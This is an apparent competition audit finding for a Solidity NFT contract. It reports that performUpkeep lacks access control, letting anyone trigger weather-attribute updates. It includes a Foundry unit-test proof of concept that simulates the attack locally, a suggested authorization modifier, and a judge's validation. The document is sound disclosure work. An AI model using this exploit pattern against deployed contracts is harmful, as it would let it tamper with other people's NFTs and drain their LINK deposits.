Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-3] Unauthorized Weather State Manipulation in NFT Metadata Due to Missing Access Control

[H-3] Unauthorized Weather Attribute Manipulation in NFT Metadata Due to Missing Access Control

Description

The WeatherNft contract allows users to mint NFTs with weather attributes that can be updated over time. The weather attribute is meant to be updated through a Chainlink oracle and automation system to fetch current weather conditions.
However, the contract fails to validate who can initiate weather updates in performUpkeep() and lacks proper authorization checks in _fulfillWeatherUpdate(). This allows any external actor to trigger weather update requests for NFTs they don't own and subsequently alter their weather attributes with oracle responses, effectively manipulating the NFT metadata without owner permission.

function performUpkeep(bytes calldata performData) external override {
//... function logic
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId; @> // No validation of who is updating the NFT
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
}
function _fulfillWeatherUpdate(bytes32 requestId, bytes memory response, bytes memory err) internal {
//... function logic
s_tokenIdToWeather[tokenId] = Weather(weather); @> // Updates weather without authorization checks
emit NftWeatherUpdated(tokenId, Weather(weather));
}

Risk

Likelihood: High

  • The performUpkeep() function is externally accessible and can be called by any address without access controls.

  • The contract stores a clear mapping between request IDs and token IDs in s_funcReqIdToTokenIdUpdate, making it trivial to track which requests correspond to which NFTs.

Impact: High

  • Attackers can manipulate the weather attributes of any NFT in the collection.

  • If certain weather types have more valuable properties or interactions with other systems, this vulnerability allows exploitation of economic incentives tied to the NFT's weather state.

  • The integrity of the entire NFT collection is compromised as token metadata can be arbitrarily modified without owner consent, violating a fundamental expectation of NFT ownership.

Proof of Concept

Add the following test and modifier to the testing suite:

modifier withMintedNftInitialSetUp(address _user) {
// Default parameters for NFT minting
string memory pincode = "110001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 1 days;
uint256 initLinkDeposit = 0;
// User mints an NFT
vm.startPrank(_user);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
// Get the request ID from logs
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (
logs[i].topics[0] ==
keccak256(
"WeatherNFTMintRequestSent(address,string,string,bytes32)"
)
) {
(, , , reqId) = abi.decode(
logs[i].data,
(address, string, string, bytes32)
);
break;
}
}
assert(reqId != bytes32(0));
// Oracle fulfills with a weather response
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(
WeatherNftStore.Weather.SUNNY
);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
// User fulfills mint request
vm.prank(_user);
weatherNft.fulfillMintRequest(reqId);
_;
}
function test_missing_validation_in_fulfillWeatherUpdate()
public
withMintedNftInitialSetUp(user)
{
// Verify the NFT was minted
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
assertEq(weatherNft.ownerOf(tokenId), user);
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenId)),
uint8(WeatherNftStore.Weather.SUNNY)
);
// Step 2: Attacker manipulates the weather of the NFT by exploiting missing validation
// Attacker creates a malicious update request (directly to the weather update function)
// This demonstrates that _fulfillWeatherUpdate lacks validation
vm.recordLogs();
// Attacker sends a performUpkeep request to generate a reqId for weather update
vm.prank(attacker);
weatherNft.performUpkeep(abi.encode(tokenId));
// Get the request ID for the weather update
Vm.Log[] memory updateLogs = vm.getRecordedLogs();
bytes32 updateReqId;
for (uint256 i; i < updateLogs.length; i++) {
if (
updateLogs[i].topics[0] ==
keccak256(
"NftWeatherUpdateRequestSend(uint256,bytes32,uint256)"
)
) {
(, updateReqId) = abi.decode(
updateLogs[i].data,
(uint256, bytes32)
);
break;
}
}
assert(updateReqId != bytes32(0));
// Validate the update request is linked to the token
assertEq(weatherNft.s_funcReqIdToTokenIdUpdate(updateReqId), tokenId);
// Attacker spoofs the oracle response (in a real attack, this would require exploiting
// the oracle or other means to inject malicious data)
// Here we use the functionsRouter address to simulate oracle access
vm.prank(functionsRouter);
bytes memory maliciousWeatherResponse = abi.encode(
WeatherNftStore.Weather.WINDY
);
weatherNft.handleOracleFulfillment(
updateReqId,
maliciousWeatherResponse,
""
);
// Verify the weather was changed
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenId)),
uint8(WeatherNftStore.Weather.WINDY)
);
console.log("Original weather: ", uint8(WeatherNftStore.Weather.SUNNY));
console.log(
"Weather after attack: ",
uint8(WeatherNftStore.Weather.WINDY)
);
}

This test demonstrates:

  1. The update mechanism lacks validation of who can update the weather

  2. Anyone who can influence the oracle response can change the weather data

  3. The NFT's value/appearance can be arbitrarily manipulated

Recommended Mitigation

Consider adding an acces control modifier so that only the owner of the NFT can change it's metadata and add it to all functions that require it:

+ /**
+ * @dev Modifier to check if the caller is authorized to update the NFT
+ * @param tokenId The ID of the NFT being updated
+ */
+ modifier onlyAuthorizedUserForNft(uint256 tokenId) {
+ require(
+ msg.sender == _ownerOf(tokenId) ||
+ msg.sender == getApproved(tokenId) ||
+ isApprovedForAll(_ownerOf(tokenId), msg.sender) ||
+ msg.sender == s_keeperRegistry,
+ "WeatherNft: Not authorized for this token"
+ );
+ _;
+ }
Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.